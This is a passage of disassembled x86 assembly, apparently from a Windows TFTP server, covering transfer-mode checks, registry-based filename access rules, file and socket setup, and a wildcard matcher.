		test	eax, eax
		jz	short loc_1003037
		mov	edi, [ebp+var_4]
		mov	eax, offset aOctet ; "octet"


loc_1003008:				; CODE XREF: sub_1002F31+F3j
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100302A
		test	cl, cl
		jz	short loc_1003026
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100302A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_1003008


loc_1003026:				; CODE XREF: sub_1002F31+E1j
		xor	eax, eax
		jmp	short loc_100302F
; ---------------------------------------------------------------------------


loc_100302A:				; CODE XREF: sub_1002F31+DDj
					; sub_1002F31+EBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100302F:				; CODE XREF: sub_1002F31+F7j
		test	eax, eax
		jnz	loc_10032F6


loc_1003037:				; CODE XREF: sub_1002F31+CDj
		mov	edi, [ebp+var_18]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esi+1FFADh]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+var_4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_1003071
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10030CB
; ---------------------------------------------------------------------------


loc_1003071:				; CODE XREF: sub_1002F31+137j
		push	[ebp+var_8]
		push	offset dword_1005CE8
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003093
		push	[ebp+var_8]
		push	offset dword_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	short loc_10030A4


loc_1003093:				; CODE XREF: sub_1002F31+14Fj
		push	[ebp+var_4]
		push	offset dword_1005D58
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_10030B0


loc_10030A4:				; CODE XREF: sub_1002F31+160j
		call	ds:dword_10010AC
		push	0
		push	2
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030B0:				; CODE XREF: sub_1002F31+171j
		push	(offset	dword_1005E07+1)
		push	0FFBCh
		push	[ebp+var_4]
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10030CF
		push	offset aFileNameTooLon ; "File name too	long"


loc_10030CB:				; CODE XREF: sub_1002F31+13Ej
		push	0
		jmp	short loc_1003100
; ---------------------------------------------------------------------------


loc_10030CF:				; CODE XREF: sub_1002F31+193j
		push	8000h
		push	[ebp+var_4]
		call	ds:dword_10010E4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebx+1002Ch], eax
		jnz	short loc_1003116
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		call	esi ; dword_10010AC
		push	0
		push	1


loc_1003100:				; CODE XREF: sub_1002F31+17Dj
					; sub_1002F31+19Cj
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx
		push	eax
		jmp	loc_1003308
; ---------------------------------------------------------------------------


loc_1003116:				; CODE XREF: sub_1002F31+1B7j
		mov	edi, ds:dword_1001088
		push	2
		push	0
		push	eax
		call	edi ; dword_1001088
		mov	esi, [ebp+arg_0]
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1003140
		push	0
		push	0
		mov	[esi+24h], eax
		push	dword ptr [ebx+1002Ch]
		call	edi ; dword_1001088
		add	esp, 0Ch


loc_1003140:				; CODE XREF: sub_1002F31+1FBj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003159
		mov	edi, ds:dword_10010AC
		call	edi ; dword_10010AC
		call	edi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		jmp	short loc_1003197
; ---------------------------------------------------------------------------


loc_1003159:				; CODE XREF: sub_1002F31+212j
		push	0
		push	2
		push	2
		call	ds:dword_100112C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	short loc_1003191
		mov	eax, [esi+1Ch]
		and	[ebp+var_26], 0
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_28], 2
		call	ds:dword_1001124
		test	eax, eax
		jz	short loc_10031A3


loc_1003191:				; CODE XREF: sub_1002F31+23Cj
		call	ds:dword_10010F8


loc_1003197:				; CODE XREF: sub_1002F31+226j
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		jmp	loc_10032FA
; ---------------------------------------------------------------------------


loc_10031A3:				; CODE XREF: sub_1002F31+25Ej
		push	ebx
		mov	[esi+8], edi
		call	ds:dword_1001044
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+var_8], esi
		movsd
		movsd
		movsd
		movsd
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	ds:dword_1001040
		cmp	eax, edi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10031E8
		push	2
		push	eax
		push	[ebp+var_4]
		call	sub_100188E
		cmp	eax, edi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_10031F3


loc_10031E8:				; CODE XREF: sub_1002F31+2A0j
		call	ds:dword_1001038
		jmp	loc_1003312
; ---------------------------------------------------------------------------


loc_10031F3:				; CODE XREF: sub_1002F31+2B5j
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	1
		pop	esi
		push	[ebp+var_4]
		mov	[ebp+var_14], esi
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, edi
		jz	loc_1003312
		lea	edi, [ebx+10028h]
		lea	eax, [ebx+38h]
		push	edi
		push	eax
		lea	eax, [ebx+10024h]
		mov	[ebp+var_10], esi
		push	eax
		mov	eax, [ebp+var_C]
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		push	eax
		push	esi
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003312
		cmp	[edi], eax
		jz	short loc_1003255
		mov	eax, [esi+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_100325F
; ---------------------------------------------------------------------------


loc_1003255:				; CODE XREF: sub_1002F31+311j
		mov	dword ptr [ebx+10000h],	3E8h


loc_100325F:				; CODE XREF: sub_1002F31+322j
		mov	eax, [ebx+10000h]
		push	0
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:dword_1001178
		push	1
		pop	edi
		mov	[ebx+24h], edi
		mov	eax, [esi+20h]
		push	esi
		push	ebx
		mov	[ebx+10018h], eax
		mov	[ebx+10014h], di
		call	sub_10027E1
		push	10h
		xor	ecx, ecx
		push	[ebp+var_8]
		cmp	eax, ecx
		mov	[ebx+1000Ch], ecx
		push	ecx
		push	dword ptr [ebx+10020h]
		jz	short loc_10032D9
		lea	eax, [ebx+38h]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_1001130
		mov	ecx, [ebx+1001Ch]
		cmp	ecx, [esi+20h]
		jnb	short loc_10032E9
		mov	[ebx+10030h], edi
		jmp	short loc_10032E9
; ---------------------------------------------------------------------------


loc_10032D9:				; CODE XREF: sub_1002F31+386j
		add	esi, 0FFF1h
		push	esi
		push	[ebp+var_4]
		call	ds:dword_1001130


loc_10032E9:				; CODE XREF: sub_1002F31+39Ej
					; sub_1002F31+3A6j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003312
		call	ds:dword_10010F8
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_10032F6:				; CODE XREF: sub_1002F31+100j
		push	0
		push	4


loc_10032FA:				; CODE XREF: sub_1002F31+26Dj
		push	dword ptr [esi+8]
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax
		push	esi


loc_1003308:				; CODE XREF: sub_1002F31+1E0j
		call	sub_100230A
		jmp	short loc_1003312
; ---------------------------------------------------------------------------


loc_100330F:				; CODE XREF: sub_1002F31+27j
		mov	ebx, [ebp+arg_0]


loc_1003312:				; CODE XREF: sub_1002F31+2BDj
					; sub_1002F31+2DDj ...
		test	ebx, ebx
		jz	short loc_1003331
		cmp	[ebp+var_10], 0
		jz	short loc_1003323
		push	ebx
		call	ds:dword_100104C


loc_1003323:				; CODE XREF: sub_1002F31+3E9j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003331
		push	ebx
		call	ds:dword_10010A0
		pop	ecx


loc_1003331:				; CODE XREF: sub_1002F31+50j
					; sub_1002F31+3E3j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_1002F31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100333A	proc near		; DATA XREF: sub_1001A91+20Fo

var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		and	[ebp+var_10], 0
		and	[ebp+var_14], 0
		push	ebx
		push	esi
		push	edi
		push	10034h
		call	ds:dword_1001094
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_1003731
		mov	ecx, 400Dh
		xor	eax, eax
		mov	edi, ebx
		push	0FFBAh
		rep stosd
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+36h]
		push	esi
		mov	[ebp+var_4], esi
		call	sub_1002F0E
		test	eax, eax
		jz	loc_1003712
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebp+arg_0]
		not	ecx
		push	dword ptr [edi+10h]
		dec	ecx
		lea	esi, [ecx+esi+1]
		call	ds:dword_1001120
		mov	[ebp+var_18], eax
		mov	ax, [edi+0Eh]
		push	eax
		call	ds:dword_1001104
		cmp	byte ptr [esi],	0
		mov	edi, esi
		mov	[ebp+var_C], edi
		jz	short loc_10033E1


loc_10033BC:				; CODE XREF: sub_100333A+A2j
		movsx	eax, byte ptr [edi]
		push	eax
		call	ds:dword_100114C
		test	eax, eax
		movsx	eax, byte ptr [edi]
		pop	ecx
		jz	short loc_10033D6
		push	eax
		call	ds:dword_1001150
		pop	ecx


loc_10033D6:				; CODE XREF: sub_100333A+92j
		mov	[edi], al
		inc	edi
		cmp	byte ptr [edi],	0
		jnz	short loc_10033BC
		mov	[ebp+var_C], edi


loc_10033E1:				; CODE XREF: sub_100333A+80j
		mov	eax, offset aNetascii ;	"netascii"
		mov	edi, esi


loc_10033E8:				; CODE XREF: sub_100333A+CAj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_100340A
		test	cl, cl
		jz	short loc_1003406
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_100340A
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_10033E8


loc_1003406:				; CODE XREF: sub_100333A+B8j
		xor	eax, eax
		jmp	short loc_100340F
; ---------------------------------------------------------------------------


loc_100340A:				; CODE XREF: sub_100333A+B4j
					; sub_100333A+C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100340F:				; CODE XREF: sub_100333A+CEj
		test	eax, eax
		jnz	short loc_100341F
		mov	dword ptr [ebx+10030h],	4000h
		jmp	short loc_100345D
; ---------------------------------------------------------------------------


loc_100341F:				; CODE XREF: sub_100333A+D7j
		mov	edi, offset aOctet ; "octet"


loc_1003424:				; CODE XREF: sub_100333A+106j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_1003446
		test	al, al
		jz	short loc_1003442
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_1003446
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_1003424


loc_1003442:				; CODE XREF: sub_100333A+F4j
		xor	eax, eax
		jmp	short loc_100344B
; ---------------------------------------------------------------------------


loc_1003446:				; CODE XREF: sub_100333A+F0j
					; sub_100333A+FEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_100344B:				; CODE XREF: sub_100333A+10Aj
		test	eax, eax
		jnz	loc_10036F8
		mov	dword ptr [ebx+10030h],	8000h


loc_100345D:				; CODE XREF: sub_100333A+E3j
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		lea	edx, [eax+1FFADh]
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	edx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	[ebp+var_8], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_100349A
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10034DF
; ---------------------------------------------------------------------------


loc_100349A:				; CODE XREF: sub_100333A+157j
		push	[ebp+var_18]
		push	offset dword_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	[ebp+var_4]
		push	offset dword_1005D90
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	(offset	dword_1005E07+1)
		push	0FFBCh
		push	[ebp+var_8]
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10034E6
		push	offset aFileNameTooLon ; "File name too	long"


loc_10034DF:				; CODE XREF: sub_100333A+15Ej
		push	0
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_10034E6:				; CODE XREF: sub_100333A+19Ej
		push	180h
		push	8302h
		push	[ebp+var_8]
		call	ds:dword_10010E4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebx+1002Ch], eax
		jnz	short loc_100351E
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C
		jmp	loc_10036F2
; ---------------------------------------------------------------------------


loc_100351E:				; CODE XREF: sub_100333A+1CBj
		xor	esi, esi
		push	esi
		push	2
		push	2
		call	ds:dword_100112C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_1003546
		call	ds:dword_10010F8
		push	offset aInsufficientRe ; "Insufficient resources"
		push	esi
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_1003546:				; CODE XREF: sub_100333A+1F9j
		mov	[ebp+var_26], si
		mov	esi, [ebp+arg_0]
		push	10h
		mov	[ebp+var_28], 2
		mov	eax, [esi+1Ch]
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	ds:dword_1001124
		test	eax, eax
		jz	short loc_100358A
		call	ds:dword_10010F8
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		push	dword ptr [esi+8]
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax
		push	esi
		jmp	loc_100370D
; ---------------------------------------------------------------------------


loc_100358A:				; CODE XREF: sub_100333A+22Ej
		lea	eax, [ebx+10028h]
		mov	[esi+8], edi
		push	eax
		lea	eax, [ebx+38h]
		push	eax
		lea	eax, [ebx+10024h]
		push	eax
		mov	eax, [ebp+var_C]
		inc	eax
		push	2
		push	eax
		push	esi
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003712
		push	ebx
		call	ds:dword_1001044
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+var_18], esi
		movsd
		movsd
		movsd
		movsd
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	ds:dword_1001040
		cmp	eax, esi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10035F8
		push	2
		pop	edi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	sub_100188E
		cmp	eax, esi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_1003603


loc_10035F8:				; CODE XREF: sub_100333A+2A5j
		call	ds:dword_1001038
		jmp	loc_1003712
; ---------------------------------------------------------------------------


loc_1003603:				; CODE XREF: sub_100333A+2BCj
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	[ebp+var_4]
		mov	[ebp+var_14], 1
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, esi
		jz	loc_1003712
		xor	esi, esi
		mov	[ebp+var_10], 1
		cmp	[ebx+10028h], esi
		jz	short loc_100364A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_1003654
; ---------------------------------------------------------------------------


loc_100364A:				; CODE XREF: sub_100333A+2FAj
		mov	dword ptr [ebx+10000h],	3E8h


loc_1003654:				; CODE XREF: sub_100333A+30Ej
		mov	eax, [ebx+10000h]
		push	esi
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:dword_1001178
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebx+10024h]
		mov	[ebx+24h], edi
		cmp	ecx, esi
		mov	eax, [eax+20h]
		mov	[ebx+10018h], eax
		lea	eax, [ebx+10024h]
		jz	short loc_10036A1
		mov	[ebx+10020h], ecx
		mov	[eax], esi
		jmp	short loc_10036C5
; ---------------------------------------------------------------------------


loc_10036A1:				; CODE XREF: sub_100333A+35Bj
		mov	esi, ds:dword_1001104
		push	4
		pop	edi
		push	edi
		call	esi ; dword_1001104
		mov	[ebx+38h], ax
		mov	ax, [ebx+10014h]
		push	eax
		call	esi ; dword_1001104
		mov	[ebx+3Ah], ax
		mov	[ebx+10020h], edi


loc_10036C5:				; CODE XREF: sub_100333A+365j
		push	10h
		lea	eax, [ebx+38h]
		push	[ebp+var_18]
		push	0
		push	dword ptr [ebx+10020h]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_1001130
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003712
		call	ds:dword_10010F8
		jmp	short loc_1003712
; ---------------------------------------------------------------------------


loc_10036EC:				; CODE XREF: sub_100333A+16Fj
					; sub_100333A+184j
		call	ds:dword_10010AC


loc_10036F2:				; CODE XREF: sub_100333A+1DFj
		push	0
		push	2
		jmp	short loc_10036FC
; ---------------------------------------------------------------------------


loc_10036F8:				; CODE XREF: sub_100333A+113j
		push	0
		push	4


loc_10036FC:				; CODE XREF: sub_100333A+1A7j
					; sub_100333A+207j ...
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx
		push	eax


loc_100370D:				; CODE XREF: sub_100333A+24Bj
		call	sub_100230A


loc_1003712:				; CODE XREF: sub_100333A+48j
					; sub_100333A+274j ...
		test	ebx, ebx
		jz	short loc_1003731
		cmp	[ebp+var_10], 0
		jz	short loc_1003723
		push	ebx
		call	ds:dword_100104C


loc_1003723:				; CODE XREF: sub_100333A+3E0j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003731
		push	ebx
		call	ds:dword_10010A0
		pop	ecx


loc_1003731:				; CODE XREF: sub_100333A+21j
					; sub_100333A+3DAj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_100333A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100373A	proc near		; CODE XREF: sub_1002CE6+D7p

var_1FF70	= byte ptr -1FF70h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1FF70h
		call	sub_1003A3E
		cmp	[ebp+arg_C], 8000h
		push	esi
		push	edi
		jnz	short loc_100375A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		jmp	short loc_1003792
; ---------------------------------------------------------------------------


loc_100375A:				; CODE XREF: sub_100373A+16j
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		xor	esi, esi
		cmp	[ebp+arg_8], ecx
		jle	short loc_1003790
		mov	edi, [ebp+arg_10]


loc_1003769:				; CODE XREF: sub_100373A+54j
		cmp	byte ptr [edi],	0Dh
		jnz	short loc_1003779
		cmp	byte ptr [ecx+edx], 0
		jnz	short loc_1003779
		and	byte ptr [edi],	0
		jmp	short loc_100378A
; ---------------------------------------------------------------------------


loc_1003779:				; CODE XREF: sub_100373A+32j
					; sub_100373A+38j
		mov	al, [ecx+edx]
		mov	[ebp+esi+var_1FF70], al
		inc	esi
		cmp	al, 0Dh
		jnz	short loc_100378A
		mov	[edi], al


loc_100378A:				; CODE XREF: sub_100373A+3Dj
					; sub_100373A+4Cj
		inc	ecx
		cmp	ecx, [ebp+arg_8]
		jl	short loc_1003769


loc_1003790:				; CODE XREF: sub_100373A+2Aj
		push	esi
		push	edx


loc_1003792:				; CODE XREF: sub_100373A+1Ej
		push	[ebp+arg_0]
		call	ds:dword_10010E8
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_10037B7
		mov	esi, ds:dword_10010AC
		call	esi ; dword_10010AC
		call	esi ; dword_10010AC
		push	dword ptr [eax]
		call	ds:dword_100102C


loc_10037B7:				; CODE XREF: sub_100373A+69j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	14h
sub_100373A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10037BF	proc near		; CODE XREF: sub_1001665:loc_10017F3p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+var_10]
		push	ebx
		xor	ebx, ebx
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
		push	80000002h
		mov	[ebp+var_4], ebx
		call	ds:dword_1001000
		cmp	eax, ebx
		jz	short loc_10037F6
		call	ds:dword_1001038
		xor	eax, eax
		jmp	loc_100390D
; ---------------------------------------------------------------------------


loc_10037F6:				; CODE XREF: sub_10037BF+28j
		cmp	byte ptr dword_1005E07+1, bl
		push	edi
		push	esi
		mov	esi, ds:dword_1001008
		jnz	short loc_100383C
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], 1F4h
		push	eax
		lea	eax, [ebp+var_C]
		push	(offset	dword_1005E07+1)
		push	eax
		push	ebx
		push	offset aDirectory ; "directory"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_1003831
		call	ds:dword_1001038
		jmp	short loc_100383C
; ---------------------------------------------------------------------------


loc_1003831:				; CODE XREF: sub_10037BF+68j
		push	1
		pop	eax
		cmp	[ebp+var_C], eax
		jnz	short loc_100383C
		mov	[ebp+var_4], eax


loc_100383C:				; CODE XREF: sub_10037BF+45j
					; sub_10037BF+70j ...
		push	32h
		lea	eax, [ebp+var_8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005CE8
		push	eax
		push	ebx
		push	offset aClients	; "clients"
		push	[ebp+var_10]
		mov	[ebp+var_8], edi
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_1003866
		call	ds:dword_1001038
		jmp	short loc_100386F
; ---------------------------------------------------------------------------


loc_1003866:				; CODE XREF: sub_10037BF+9Dj
		cmp	[ebp+var_C], 1
		jnz	short loc_100386F
		inc	[ebp+var_4]


loc_100386F:				; CODE XREF: sub_10037BF+A5j
					; sub_10037BF+ABj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005D20
		push	eax
		push	ebx
		push	offset aMasters	; "masters"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_1003896
		call	ds:dword_1001038
		jmp	short loc_100389F
; ---------------------------------------------------------------------------


loc_1003896:				; CODE XREF: sub_10037BF+CDj
		cmp	[ebp+var_C], 1
		jnz	short loc_100389F
		inc	[ebp+var_4]


loc_100389F:				; CODE XREF: sub_10037BF+D5j
					; sub_10037BF+DBj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005D58
		push	eax
		push	ebx
		push	offset aReadable ; "readable"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_10038C6
		call	ds:dword_1001038
		jmp	short loc_10038CF
; ---------------------------------------------------------------------------


loc_10038C6:				; CODE XREF: sub_10037BF+FDj
		cmp	[ebp+var_C], 1
		jnz	short loc_10038CF
		inc	[ebp+var_4]


loc_10038CF:				; CODE XREF: sub_10037BF+105j
					; sub_10037BF+10Bj
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], edi
		push	eax
		lea	eax, [ebp+var_C]
		push	offset dword_1005D90
		push	eax
		push	ebx
		push	offset aWritable ; "writable"
		push	[ebp+var_10]
		call	esi ; dword_1001008
		cmp	eax, ebx
		jz	short loc_10038F6
		call	ds:dword_1001038
		jmp	short loc_10038FF
; ---------------------------------------------------------------------------


loc_10038F6:				; CODE XREF: sub_10037BF+12Dj
		cmp	[ebp+var_C], 1
		jnz	short loc_10038FF
		inc	[ebp+var_4]


loc_10038FF:				; CODE XREF: sub_10037BF+135j
					; sub_10037BF+13Bj
		push	[ebp+var_10]
		call	ds:dword_100100C
		mov	eax, [ebp+var_4]
		pop	esi
		pop	edi


loc_100390D:				; CODE XREF: sub_10037BF+32j
		pop	ebx
		leave
		retn
sub_10037BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1003910	proc near		; CODE XREF: sub_1001665+193p

var_1F4		= byte ptr -1F4h

		sub	esp, 1F4h
		cmp	byte ptr dword_1005E07+1, 0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 1F4h
		mov	ebx, (offset dword_1005E07+1)
		jnz	short loc_100393D
		push	ebp
		push	offset aTftpdroot ; "\\tftpdroot\\"
		push	ebx
		call	ds:dword_1001148
		add	esp, 0Ch


loc_100393D:				; CODE XREF: sub_1003910+1Bj
		lea	eax, [esp+204h+var_1F4]
		push	ebp
		push	eax
		push	ebx
		call	ds:dword_1001020
		test	eax, eax
		jnz	short loc_1003952
		push	57h
		jmp	short loc_10039CA
; ---------------------------------------------------------------------------


loc_1003952:				; CODE XREF: sub_1003910+3Cj
		mov	ecx, eax
		lea	esi, [esp+204h+var_1F4]
		mov	edi, ebx
		or	edx, 0FFFFFFFFh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr dword_1005E07[ecx], 2Fh
		lea	eax, dword_1005E07[ecx]
		jnz	short loc_1003986
		mov	byte ptr [eax],	5Ch


loc_1003986:				; CODE XREF: sub_1003910+71j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_10039B7
		cmp	ecx, ebp
		jnb	short loc_10039B7
		mov	edi, offset asc_100155C	; "\\"
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebp, ecx
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		mov	ecx, ebp
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebp
		and	ecx, 3
		rep movsb


loc_10039B7:				; CODE XREF: sub_1003910+79j
					; sub_1003910+7Dj
		mov	edi, ebx
		mov	ecx, edx
		xor	eax, eax
		push	1
		repne scasb
		not	ecx
		dec	ecx
		mov	dword_1005FFC, ecx


loc_10039CA:				; CODE XREF: sub_1003910+40j
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1F4h
		retn
sub_1003910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10039D6	proc near		; CODE XREF: sub_1002F31+148p
					; sub_1002F31+159p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	al, [esi]
		test	al, al
		jz	short loc_1003A2E
		cmp	al, 2Ah
		jz	short loc_1003A04
		cmp	al, 3Fh
		jz	short loc_10039F7
		mov	ecx, [ebp+arg_4]
		cmp	al, [ecx]
		jnz	short loc_1003A25
		inc	ecx
		push	ecx
		jmp	short loc_1003A01
; ---------------------------------------------------------------------------


loc_10039F7:				; CODE XREF: sub_10039D6+14j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jz	short loc_1003A25
		inc	eax
		push	eax


loc_1003A01:				; CODE XREF: sub_10039D6+1Fj
		inc	esi
		jmp	short loc_1003A1B
; ---------------------------------------------------------------------------


loc_1003A04:				; CODE XREF: sub_10039D6+10j
		mov	edi, [ebp+arg_4]
		lea	eax, [esi+1]
		push	edi
		push	eax
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29
		cmp	[edi], al
		jz	short loc_1003A25
		inc	edi
		push	edi


loc_1003A1B:				; CODE XREF: sub_10039D6+2Cj
		push	esi
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29


loc_1003A25:				; CODE XREF: sub_10039D6+1Bj
					; sub_10039D6+27j ...
		xor	eax, eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


